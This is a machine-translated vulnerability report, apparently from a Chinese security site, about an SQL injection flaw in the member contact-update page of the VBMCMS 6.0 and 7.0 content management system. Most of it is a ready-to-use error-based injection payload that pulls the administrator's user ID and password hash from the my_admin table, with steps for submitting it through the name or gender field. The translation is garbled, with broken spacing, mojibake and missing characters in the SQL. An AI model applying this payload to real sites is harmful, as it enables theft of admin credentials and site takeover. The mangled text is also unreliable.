Vbmcms6. 0&&7.0 update injection vulnerability-vulnerability warning-the black bar safety net

2014-01-05T00:00:00
ID MYHACK58:62201441708
Type myhack58
Reporter 佚名
Modified 2014-01-05T00:00:00

Description

The latest version 7. 0

官 网 地址 http://www.vbmcms.com/index.php

Visually full is Education Station

Since 7. 0 version charge so in online download 6. 0 free version of view, but also found a lot of vulnerabilities of various insert injection various update injection but I construct the statement to go online to find Station tests failed 7.0 Supplement a lot

But in the Modify contact information here is not filtered

漏洞 文件 \member\include\inc_base.php

!

Here are not filtered directly into the SQ statement

Then pick any one selected cname.

Configuration statement

UPDATE vb_member SET qq = '1 1 4 1 0 5 6 9 1 1', tel = '1 5 0 7 1 8 1 0 2 2 2' ,cname = 'éμμ?'aNd (SELECT 1 FROM (select count(),concat(floor(rand(0)2),(substring((Select (concat(userid,0x3a,pwd)) from my_admin limit 0,1),1,6 2)))a from information_schema. tables group by a)b)#’, email = ’1141056911@qq.com’ , sex = ‘Male’ ERE userid = ‘Sunshie’

!

Then came the members of the center in contact? here the contact teacher or sex change’aNd (SELECT 1 FROM (select count(),concat(floor(rand(0)2),(substring((Select (concat(userid,0x3a,pwd)) from my_admin limit 0,1),1,6 2)))a from information_schema. tables group by a)b)#, gender with a Google review of the elements of the modified

Then click Submit

Then the password would burst.

!